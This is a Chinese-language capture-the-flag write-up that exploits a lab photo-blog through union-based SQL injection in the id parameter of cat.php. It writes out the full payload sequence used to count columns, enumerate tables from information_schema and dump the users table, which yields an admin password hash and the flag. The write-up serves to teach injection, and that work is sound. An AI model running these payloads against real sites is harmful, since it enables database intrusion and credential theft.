1. 信息收集
访问首页,发现是一个图片博客系统。菜单栏有 Home、Categories(test, ruxcon, 2010)、All pictures 和 Admin。
点击分类链接,URL 形式为 cat.php?id=1。
2. 漏洞发现 (SQL注入)
测试 id 参数是否存在注入:
- 访问
cat.php?id=1',页面返回 SQL 语法错误信息:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1。
- 确认存在报错注入/联合查询注入。
3. 漏洞利用
使用联合查询注入获取数据。
a. 确定列数
通过 order by 测试:
cat.php?id=1 order by 4 正常显示。
cat.php?id=1 order by 5 报错。
- 确定共有 4 列。
b. 确定显示位
访问 cat.php?id=-1 union select 1,2,3,4,发现数字 2 显示在标题位置。
c. 获取数据库信息
- 数据库名:
cat.php?id=-1 union select 1,database(),3,4 -> photoblog
- 表名:
cat.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() -> categories,pictures,users
d. 获取敏感数据
users 表列名: cat.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' -> id,login,password
- 拖取
users 表内容: cat.php?id=-1 union select 1,group_concat(login,':',password),3,4 from users
结果如下:
admin:8efe310f9ab3efeae8d410a8e0166eb2
flag:flag{027a1958-80b7-4807-b744-102f554235e3}
最终 Flag
flag{027a1958-80b7-4807-b744-102f554235e3}
知识点总结
- SQL 注入 (Union-Based): 通过
union select 语句将恶意查询结果合并到正常页面输出中。
- 信息架构查询: 利用
information_schema 库获取目标数据库的表名和列名。